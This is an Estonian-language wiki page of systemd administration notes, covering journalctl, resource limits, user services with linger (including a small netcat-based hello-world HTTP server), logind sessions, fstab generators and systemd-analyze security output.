&lt;br /&gt;
===Konsooli alglaadimisjärgse puhastamise lõpetamine===&lt;br /&gt;
&lt;br /&gt;
Järgneva töötamise eelduseks on /etc/default/grub failis &amp;quot;quiet&amp;quot; eemaldamine, vt man systemd -&amp;gt; ShowStatus 'Defaults to enabled, unless quiet is passed as kernel command line option, in which case it defaults to error.' Alternatiiv on kasutada kernel argumenti 'systemd.show_status=1'.&lt;br /&gt;
&lt;br /&gt;
Viisakas variant&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# systemctl edit getty@tty1&lt;br /&gt;
..&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
TTYVTDisallocate=no&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Vulgaarsem variant&lt;br /&gt;
&lt;br /&gt;
 # mkdir /etc/systemd/system/getty@tty1.service.d&lt;br /&gt;
 # cat /etc/systemd/system/getty@tty1.service.d/noclear.conf&lt;br /&gt;
 [Service]&lt;br /&gt;
 TTYVTDisallocate=no&lt;br /&gt;
&lt;br /&gt;
Ja järgmisel alglaadimisel enam ekraani ei puhastata&lt;br /&gt;
&lt;br /&gt;
 # reboot&lt;br /&gt;
&lt;br /&gt;
NB! Selleks, et tuuma teateid oleks näha tuleb lisaks GRUB2 seadistusfailis kasutada rida&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/default/grub&lt;br /&gt;
 ..&lt;br /&gt;
 GRUB_CMDLINE_LINUX_DEFAULT=&amp;quot;&amp;quot;&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
ning öelda&lt;br /&gt;
&lt;br /&gt;
 # update-grub&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://mywiki.wooledge.org/SystemdNoClear&lt;br /&gt;
* https://wiki.archlinux.org/index.php/Systemd_FAQ&lt;br /&gt;
&lt;br /&gt;
===journalctl kasuamine===&lt;br /&gt;
&lt;br /&gt;
Bootimisest alates antud logi sissekannete esitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # journalctl -b&lt;br /&gt;
&lt;br /&gt;
Selleks, et näha erinevate bootimiskordade logi tuleb öelda&lt;br /&gt;
&lt;br /&gt;
 # mkdir /var/log/journal&lt;br /&gt;
 # sed -ri s/^#Storage=auto/Storage=persistent/ /etc/systemd/journald.conf&lt;br /&gt;
&lt;br /&gt;
tulemusena saab nimekirja vaadata&lt;br /&gt;
&lt;br /&gt;
 # journalctl --list-boots&lt;br /&gt;
&lt;br /&gt;
ning konkreetse korra sissekandeid nt&lt;br /&gt;
&lt;br /&gt;
 # journalctl -b -2&lt;br /&gt;
&lt;br /&gt;
Uniti vms logi follow režiimis esitamiseks&lt;br /&gt;
&lt;br /&gt;
 # journalctl -n 20 -f -u ssh&lt;br /&gt;
&lt;br /&gt;
===Systemd debugimine===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://freedesktop.org/wiki/Software/systemd/Debugging/&lt;br /&gt;
&lt;br /&gt;
===Ressursikasutuse kontrollimine===&lt;br /&gt;
&lt;br /&gt;
 # grep -v &amp;quot;^#&amp;quot; /etc/systemd/system.conf&lt;br /&gt;
 &lt;br /&gt;
 [Manager]&lt;br /&gt;
 DefaultCPUAccounting=yes&lt;br /&gt;
 DefaultBlockIOAccounting=yes&lt;br /&gt;
 DefaultMemoryAccounting=yes&lt;br /&gt;
&lt;br /&gt;
 # systemctl set-property nginx.service MemoryLimit=10M&lt;br /&gt;
&lt;br /&gt;
===systemd-run===&lt;br /&gt;
&lt;br /&gt;
 $ systemd-run --user --unit=limit-test.scope --scope -p MemoryAccounting=yes -p MemoryLimit=2M bash&lt;br /&gt;
&lt;br /&gt;
 $ systemctl show --user limit-test.scope | grep Mem&lt;br /&gt;
 MemoryAccounting=yes&lt;br /&gt;
 MemoryLimit=2M&lt;br /&gt;
&lt;br /&gt;
või&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# systemd-run --user --scope -p MemoryMax=10M -p MemorySwapMax=0 bash&lt;br /&gt;
Running as unit: run-p10909-i11209.scope; invocation ID: d3b7a7cc8af2431282ac1e1e7d469e2a&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# python3 -c 'a = &amp;quot;x&amp;quot; * 20 * 1024 * 1024'&lt;br /&gt;
Killed&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===systemd-boot===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://wiki.archlinux.org/index.php/systemd-boot&lt;br /&gt;
&lt;br /&gt;
===systemd-logind===&lt;br /&gt;
&lt;br /&gt;
====Mõisted====&lt;br /&gt;
&lt;br /&gt;
* seat&lt;br /&gt;
* session&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
Kasutaja sisselomisel moodustatakse nö sessioon&lt;br /&gt;
&lt;br /&gt;
* '$ systemd --user ..' - käivitatakse per kasutaja systemd lahendus (seejuurde kuulub systemd-user service'ite käivitamine)&lt;br /&gt;
* '$ busctl lis') - per kasutaja dbus käivitamine (busctl list)&lt;br /&gt;
* '$ lsns' - moodustatakse per kasutaja namespace'ide komplekt (user, mount, pid jne)&lt;br /&gt;
* 'man pam_systemd' - pam kaudu kutsutakse välja kasutajapõhine systemd lahendus&lt;br /&gt;
&lt;br /&gt;
nn linger abil saab kasutaja sessiooni tekitada automaatselt süsteemi algkäivituse käigus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
systemd-logind asendab ConsoleKit lahenduse. nt saab küsida&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# loginctl list-sessions&lt;br /&gt;
   SESSION        UID USER             SEAT             TTY             &lt;br /&gt;
        31          0 root             seat0            /dev/tty2       &lt;br /&gt;
       189       1001 priit            seat0            /dev/tty4       &lt;br /&gt;
         2       1000 imre             seat0                            &lt;br /&gt;
        c5        111 lightdm          seat0                            &lt;br /&gt;
       187       1001 priit            seat0            /dev/tty3       &lt;br /&gt;
        33       1000 imre             seat0                            &lt;br /&gt;
&lt;br /&gt;
6 sessions listed.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Arvuti sees root kasutajana tavakasutaja service nimekirja küsimine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# systemctl --user -M kasutaja@.host list-units --type=service&lt;br /&gt;
  UNIT             LOAD   ACTIVE SUB     DESCRIPTION&lt;br /&gt;
  dbus.service     loaded active running D-Bus User Message Bus&lt;br /&gt;
  nginx-08.service loaded active running My Nginx Quadlet Service&lt;br /&gt;
  nginx-09.service loaded active running My Nginx 09 Quadlet Service&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kasutaja status küsimine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ph-minio-01:~$ loginctl user-status&lt;br /&gt;
kasutaja (1000)&lt;br /&gt;
   Since: Sun 2026-04-19 18:59:50 EEST; 1h 15min ago&lt;br /&gt;
   State: active&lt;br /&gt;
Sessions: *69 68&lt;br /&gt;
  Linger: no&lt;br /&gt;
    Unit: user-1000.slice&lt;br /&gt;
          ├─session-69.scope&lt;br /&gt;
          │ ├─3556 &amp;quot;sshd-session: kasutaja [priv]&amp;quot;&lt;br /&gt;
          │ ├─3563 &amp;quot;sshd-session: kasutaja@pts/1&amp;quot;&lt;br /&gt;
          │ ├─3564 -bash&lt;br /&gt;
          │ ├─3883 loginctl user-status&lt;br /&gt;
          │ └─3884 pager&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* linger info - no&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://yakking.branchable.com/posts/systemd-4-logind/&lt;br /&gt;
&lt;br /&gt;
===systemd system service===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===systemd user service===&lt;br /&gt;
&lt;br /&gt;
Kui tavaliselt on kasutusel systemd põhises keskkonnas nn süsteemne systemd halduse lahendus, mis tegeleb teenus-protsessidega, siis systemd user service on selline asjakorraldus, kus sarnane tulemus saavutatakse tavakasutaja tingimustes. Üks võimalik lähtepunkt on, et süsteemi on tavakasutaja abil sisse logitud üle ssh ühes aknas&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# ps U priit&lt;br /&gt;
  20185 ?        Ss     0:00 /usr/lib/systemd/systemd --user&lt;br /&gt;
  20187 ?        S      0:00 (sd-pam)&lt;br /&gt;
  20201 ?        S      0:00 sshd-session: priit@pts/0&lt;br /&gt;
  20202 pts/0    Ss     0:00 -bash&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* sellega kaasneb kasutaja-põhise systemd protsessi töötamine&lt;br /&gt;
&lt;br /&gt;
ja teises aknas asutakse tegutsema&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# su - priit&lt;br /&gt;
priit@pwrk-02:~$ export XDG_RUNTIME_DIR=/run/user/1002&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* systemctl --user ... leiab selle XDG kataloogi suhtes standardsest asukohast systemd user soketi (/run/user/1002/systemd/private)&lt;br /&gt;
&lt;br /&gt;
systemd user service ehk kasutaja-põhine teenus paistab välja selline&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
priit@pwrk-02:~$ systemctl --user list-units | grep http&lt;br /&gt;
  bash-http-server.service    loaded active running   Bash Netcat HTTP Microservice&lt;br /&gt;
&lt;br /&gt;
priit@pwrk-02:~$ systemctl --user status bash-http-server.service&lt;br /&gt;
● bash-http-server.service - Bash Netcat HTTP Microservice&lt;br /&gt;
     Loaded: loaded (/home/priit/.config/systemd/user/bash-http-server.service; enabled; preset: enabled)&lt;br /&gt;
     Active: active (running) since Sun 2025-10-12 20:39:01 UTC; 21min ago&lt;br /&gt;
   Main PID: 910 (bash-http-serve)&lt;br /&gt;
      Tasks: 2 (limit: 9410)&lt;br /&gt;
     Memory: 704.0K (peak: 1.4M)&lt;br /&gt;
        CPU: 5ms&lt;br /&gt;
     CGroup: /user.slice/user-1002.slice/user@1002.service/app.slice/bash-http-server.service&lt;br /&gt;
             ├─910 /bin/bash /home/priit/bin/bash-http-server&lt;br /&gt;
             └─913 nc -l -p 5100 -q 1&lt;br /&gt;
&lt;br /&gt;
Oct 12 20:39:01 pwrk-02 systemd[869]: Started bash-http-server.service - Bash Netcat HTTP Microservice.&lt;br /&gt;
&lt;br /&gt;
priit@pwrk-02:~$ curl http://127.0.0.1:5100&lt;br /&gt;
&amp;lt;h1&amp;gt;Hello from the Bash Server Service!&amp;lt;/h1&amp;gt;&amp;lt;p&amp;gt;Running as user: priit&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
vastavad protsessid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# ps U priit&lt;br /&gt;
    PID TTY      STAT   TIME COMMAND&lt;br /&gt;
    885 ?        Ss     0:00 /usr/lib/systemd/systemd --user&lt;br /&gt;
    889 ?        S      0:00 (sd-pam)&lt;br /&gt;
    923 ?        Ss     0:00 /bin/bash /home/priit/bin/bash-http-server&lt;br /&gt;
    929 ?        S      0:00 nc -l -p 5100 -q 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* haldav protsess (systemd --user) töötab sama kasutajana nagu hallatav protsess (bash-http-server ja nc) - võib olla ei ole see parim isolatsioon&lt;br /&gt;
&lt;br /&gt;
programmi on selline&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
priit@pwrk-02:~$ cat /home/priit/bin/bash-http-server&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
# A simple, single-page HTTP server using Netcat&lt;br /&gt;
&lt;br /&gt;
# Port to listen on (high port recommended for unprivileged user)&lt;br /&gt;
LISTEN_PORT=5100&lt;br /&gt;
&lt;br /&gt;
# The HTTP response content&lt;br /&gt;
HTTP_CONTENT=&amp;quot;&amp;lt;h1&amp;gt;Hello from the Bash Server Service!&amp;lt;/h1&amp;gt;&amp;lt;p&amp;gt;Running as user: $(whoami)&amp;lt;/p&amp;gt;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# HTTP headers&lt;br /&gt;
HTTP_RESPONSE=&amp;quot;HTTP/1.1 200 OK\r\n&amp;quot;&lt;br /&gt;
HTTP_RESPONSE+=&amp;quot;Content-Type: text/html\r\n&amp;quot;&lt;br /&gt;
HTTP_RESPONSE+=&amp;quot;Content-Length: ${#HTTP_CONTENT}\r\n&amp;quot;&lt;br /&gt;
HTTP_RESPONSE+=&amp;quot;\r\n&amp;quot;&lt;br /&gt;
HTTP_RESPONSE+=&amp;quot;${HTTP_CONTENT}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Loop forever, listening for connections and serving the response&lt;br /&gt;
while true; do&lt;br /&gt;
    # Use netcat to listen on the port, process one request, and close.&lt;br /&gt;
    # The 'echo' ensures the response is sent back.&lt;br /&gt;
    printf &amp;quot;%b&amp;quot; &amp;quot;$HTTP_RESPONSE&amp;quot; | nc -l -p $LISTEN_PORT -q 1&lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
priit@pwrk-02:~$ chmod 0755 /home/priit/bin/bash-http-server&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kasutaja-põhine systemd unit service&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
priit@pwrk-02:~$ mkdir -p .config/systemd/user&lt;br /&gt;
priit@pwrk-02:~$ cat .config/systemd/user/bash-http-server.service&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=Bash Netcat HTTP Microservice&lt;br /&gt;
&lt;br /&gt;
After=network-online.target&lt;br /&gt;
Wants=network-online.target&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
ExecStart=/home/priit/bin/bash-http-server&lt;br /&gt;
Restart=always&lt;br /&gt;
RestartSec=5s&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
# This is typically the correct target for persistent user services&lt;br /&gt;
WantedBy=default.target&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lülitatakse sisse kasutaja nö lingerdamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
imre@pwrk-02:~$ loginctl enable-linger priit&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
loetakse sisse systemd seadistuse muudatused&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
priit@pwrk-02:~$ systemctl --user daemon-reload&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning aktiveeritakse teenus + käivitatakse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
priit@pwrk-02:~$ systemctl --user enable --now bash-http-server.service&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ootus on, et tulemusena käib teenus, nagu lõigu alguses on esitatud.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://wiki.archlinux.org/index.php/Systemd/User&lt;br /&gt;
* https://unix.stackexchange.com/questions/251211/why-doesnt-my-systemd-user-unit-start-at-boot&lt;br /&gt;
* https://www.brendanlong.com/systemd-user-services-are-amazing.html&lt;br /&gt;
&lt;br /&gt;
===journald user logs===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===tmpfiles-setup===&lt;br /&gt;
&lt;br /&gt;
tmpfiles-setup haldab programmide ajutiste jms failide jaoks kataloogide olemasolu eest&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ls -ld /usr/lib/tmpfiles.d/*&lt;br /&gt;
-rw-r--r-- 1 root root  238 Dec  2  2015 /usr/lib/tmpfiles.d/00rsyslog.conf&lt;br /&gt;
-rw-r--r-- 1 root root  153 Dec  2  2015 /usr/lib/tmpfiles.d/dbus.conf&lt;br /&gt;
-rw-r--r-- 1 root root  577 Jul  5 16:56 /usr/lib/tmpfiles.d/debian.conf&lt;br /&gt;
-rw-r--r-- 1 root root  362 Jul 19 02:56 /usr/lib/tmpfiles.d/home.conf&lt;br /&gt;
-rw-r--r-- 1 root root 1098 Jul 19 02:56 /usr/lib/tmpfiles.d/journal-nocow.conf&lt;br /&gt;
-rw-r--r-- 1 root root  812 Jul 19 02:56 /usr/lib/tmpfiles.d/legacy.conf&lt;br /&gt;
-rw-r--r-- 1 root root   61 Apr 16  2016 /usr/lib/tmpfiles.d/lvm2.conf&lt;br /&gt;
-rw-r--r-- 1 root root  239 Feb  5  2016 /usr/lib/tmpfiles.d/passwd.conf&lt;br /&gt;
-rw-r--r-- 1 root root  176 Feb 21  2016 /usr/lib/tmpfiles.d/postgresql.conf&lt;br /&gt;
-rw-r--r-- 1 root root   33 Jun  9  2015 /usr/lib/tmpfiles.d/screen-cleanup.conf&lt;br /&gt;
-rw-r--r-- 1 root root   31 Mar 16  2017 /usr/lib/tmpfiles.d/sshd.conf&lt;br /&gt;
-rw-r--r-- 1 root root  313 Jul  4 10:37 /usr/lib/tmpfiles.d/sudo.conf&lt;br /&gt;
-rw-r--r-- 1 root root 1544 Jul 19 02:56 /usr/lib/tmpfiles.d/systemd.conf&lt;br /&gt;
-rw-r--r-- 1 root root  496 Jul 19 02:56 /usr/lib/tmpfiles.d/systemd-nologin.conf&lt;br /&gt;
-rw-r--r-- 1 root root  637 Jul 19 02:56 /usr/lib/tmpfiles.d/tmp.conf&lt;br /&gt;
-rw-r--r-- 1 root root  532 Jul 19 02:56 /usr/lib/tmpfiles.d/var.conf&lt;br /&gt;
-rw-r--r-- 1 root root  623 Jul 19 02:56 /usr/lib/tmpfiles.d/x11.conf&lt;br /&gt;
-rw-r--r-- 1 root root   41 Aug 16 12:13 /usr/lib/tmpfiles.d/zabbix-agent.conf&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Timer===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
 # systemctl list-timers&lt;br /&gt;
 NEXT                          LEFT     LAST                          PASSED  UNIT                         ACTIVATES&lt;br /&gt;
 Tue 2017-07-25 06:52:49 EEST  6h left  Mon 2017-07-24 06:49:40 EEST  17h ago apt-daily.timer              apt-daily.service&lt;br /&gt;
 Tue 2017-07-25 10:41:54 EEST  10h left Mon 2017-07-24 10:41:54 EEST  13h ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service&lt;br /&gt;
&lt;br /&gt;
===systemd-fstab-generator===&lt;br /&gt;
&lt;br /&gt;
Paistab, et systemd tekitab automaatselt /etc/fstab sisule vastavad unit failid /run alla, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /run/systemd/generator/var-lib-postgresql.mount &lt;br /&gt;
# Automatically generated by systemd-fstab-generator&lt;br /&gt;
&lt;br /&gt;
[Unit]&lt;br /&gt;
SourcePath=/etc/fstab&lt;br /&gt;
Documentation=man:fstab(5) man:systemd-fstab-generator(8)&lt;br /&gt;
Before=local-fs.target&lt;br /&gt;
Requires=systemd-fsck@dev-system-var_lib_postgresql.service&lt;br /&gt;
After=systemd-fsck@dev-system-var_lib_postgresql.service&lt;br /&gt;
&lt;br /&gt;
[Mount]&lt;br /&gt;
What=/dev/system/var_lib_postgresql&lt;br /&gt;
Where=/var/lib/postgresql&lt;br /&gt;
Type=ext4&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kui fstab sees kirjeldatud LVM voluumi nime jääb samaks, aga UUID muutub (nt olemasolev LVM volüüm kustutada ja tekitada asemele teine) ning öelda&lt;br /&gt;
&lt;br /&gt;
 # mount /var/lib/postgresql&lt;br /&gt;
&lt;br /&gt;
siis failisüsteem monteeritakse ja ühendatakse ka kohe lahti syslog tekstiga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Feb 20 00:57:33 ky-test kernel: [1210006.815639] EXT4-fs (dm-6): mounted filesystem with ordered data mode. Opts: discard&lt;br /&gt;
Feb 20 00:57:33 ky-test systemd[1]: var-lib-postgresql.mount: Unit is bound to inactive unit dev-system-var_lib_postgresql.device. Stopping, too.&lt;br /&gt;
Feb 20 00:57:33 ky-test systemd[1]: Unmounting /var/lib/postgresql...&lt;br /&gt;
Feb 20 00:57:33 ky-test systemd[1]: Unmounted /var/lib/postgresql.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lahenduseks on öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl daemon-reload&lt;br /&gt;
&lt;br /&gt;
===Märkused===&lt;br /&gt;
&lt;br /&gt;
* kerneli mooduleid loeb käivitamisel systemd-modules-load&lt;br /&gt;
&lt;br /&gt;
 systemd-modules-load.service&lt;br /&gt;
&lt;br /&gt;
Seadistusfailiks on&lt;br /&gt;
&lt;br /&gt;
 # ls -ld /etc/modules-load.d/modules.conf &lt;br /&gt;
 lrwxrwxrwx 1 root root 10 Oct  9 14:58 /etc/modules-load.d/modules.conf -&amp;gt; ../modules&lt;br /&gt;
&lt;br /&gt;
systemd komponente kasutavas operatsioonisüsteemis töötavad nt sellised protsessid&lt;br /&gt;
&lt;br /&gt;
 # ps aux | grep '/lib/systemd/systemd-'&lt;br /&gt;
 root       173  0.0  0.5  28188  2912 ?        Ss   15:39   0:00 /lib/systemd/systemd-journald&lt;br /&gt;
 root       190  0.0  0.7  44072  4000 ?        Ss   15:39   0:00 /lib/systemd/systemd-udevd&lt;br /&gt;
 systemd+   388  0.0  0.4  97952  2312 ?        Ssl  15:39   0:00 /lib/systemd/systemd-timesyncd&lt;br /&gt;
 root       396  0.0  0.5  28352  2772 ?        Ss   15:39   0:00 /lib/systemd/systemd-logind&lt;br /&gt;
 systemd+   402  0.0  0.5  28504  2892 ?        Ss   15:39   0:00 /lib/systemd/systemd-networkd&lt;br /&gt;
 systemd+  1004  0.0  0.5  31340  2880 ?        Ss   16:00   0:00 /lib/systemd/systemd-resolved&lt;br /&gt;
&lt;br /&gt;
Tundub, et midagi teeb käsk systemd konfi muudatuste kehtestamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl daemon-reload&lt;br /&gt;
&lt;br /&gt;
Tugevamaks kehtestamiseks või nö jamade lahendamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl daemon-reexec&lt;br /&gt;
&lt;br /&gt;
===su ja sudo kasutamine===&lt;br /&gt;
&lt;br /&gt;
su/sudo/runuser programmide kasutamisel ei moodustada nö kasutaja keskkonda (environment)&lt;br /&gt;
&lt;br /&gt;
nende asemel annab nö autentsema tulemuse machinectl kasutamine, nt&lt;br /&gt;
&lt;br /&gt;
 # machinectl shell imre@&lt;br /&gt;
&lt;br /&gt;
nt on seejärel käivitatud sellised protsessid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
imre@ph-minio-01:~$ ps U imre&lt;br /&gt;
    PID TTY      STAT   TIME COMMAND&lt;br /&gt;
   1212 pts/1    Ss     0:00 /bin/bash&lt;br /&gt;
   1216 ?        Ss     0:00 /usr/lib/systemd/systemd --user&lt;br /&gt;
   1218 ?        S      0:00 (sd-pam)&lt;br /&gt;
   1251 pts/1    S      0:00 (sd-pam)&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja väärtustatud mitmesugused XDG keskkonnamuutujad&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ env | grep XDG&lt;br /&gt;
XDG_SESSION_TYPE=tty&lt;br /&gt;
XDG_SESSION_CLASS=user&lt;br /&gt;
XDG_SESSION_ID=29&lt;br /&gt;
XDG_RUNTIME_DIR=/run/user/1000&lt;br /&gt;
XDG_DATA_DIRS=/usr/local/share:/usr/share:/var/lib/snapd/deskto&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===LoadCredentials kasutamine===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-minio-01:~# systemctl edit nginx&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
LoadCredential=ssl_key:/etc/ssl/private/nginx.key&lt;br /&gt;
LoadCredential=ssl_cert:/etc/ssl/certs/nginx.crt&lt;br /&gt;
PrivateTmp=yes&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===systemd-analyze===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ph-minio-01:~$ systemd-analyze --user security nginx-07&lt;br /&gt;
  NAME                                                        DESCRIPTION                                                             EXPOSURE&lt;br /&gt;
✗ KeyringMode=                                                Service shares key material with other service                               0.2&lt;br /&gt;
  PrivateTmp=                                                 Service runs in special boot phase, option is not appropriate                   &lt;br /&gt;
  ProtectHome=                                                Service runs in special boot phase, option is not appropriate                   &lt;br /&gt;
  ProtectSystem=                                              Service runs in special boot phase, option is not appropriate                   &lt;br /&gt;
  RootDirectory=/RootImage=                                   Service runs in special boot phase, option is not appropriate                   &lt;br /&gt;
  SupplementaryGroups=                                        Service runs as root, option does not matter                                    &lt;br /&gt;
  RemoveIPC=                                                  Service runs as root, option does not apply                                     &lt;br /&gt;
✗ User=/DynamicUser=                                          Service runs as root user                                                    0.4&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_TIME                         Service processes may change the system clock                                0.2&lt;br /&gt;
✗ NoNewPrivileges=                                            Service processes may acquire new privileges                                 0.2&lt;br /&gt;
✓ AmbientCapabilities=                                        Service process does not receive ambient capabilities                           &lt;br /&gt;
✗ PrivateDevices=                                             Service potentially has access to hardware devices                           0.2&lt;br /&gt;
✗ ProtectClock=                                               Service may write to the hardware clock or system clock                      0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_PACCT                        Service may use acct()                                                       0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_KILL                             Service may send UNIX signals to arbitrary processes                         0.1&lt;br /&gt;
✗ ProtectKernelLogs=                                          Service may read from or write to the kernel log ring buffer                 0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_WAKE_ALARM                       Service may program timers that wake up the system                           0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_(DAC_*|FOWNER|IPC_OWNER)         Service may override UNIX file/IPC permission checks                         0.2&lt;br /&gt;
✗ ProtectControlGroups=                                       Service may modify the control group file system                             0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_LINUX_IMMUTABLE                  Service may mark files immutable                                             0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_IPC_LOCK                         Service may lock memory into RAM                                             0.1&lt;br /&gt;
✗ ProtectKernelModules=                                       Service may load or read kernel modules                                      0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_MODULE                       Service may load kernel modules                                              0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_BPF                              Service may load BPF programs                                                0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_TTY_CONFIG                   Service may issue vhangup()                                                  0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_BOOT                         Service may issue reboot()                                                   0.1&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_SYS_CHROOT                       Service may issue chroot()                                                   0.1&lt;br /&gt;
✗ PrivateMounts=                                              Service may install system mounts                                            0.2&lt;br /&gt;
✗ SystemCallArchitectures=                                    Service may execute system calls with all ABIs                               0.2&lt;br /&gt;
✗ CapabilityBoundingSet=~CAP_BLOCK_SUSPEND                    Service may establish wake locks                                             0.1&lt;br /&gt;
✗ MemoryDenyWriteExecute=                                     Service may create writable executable memory mappings                       0.1&lt;br /&gt;
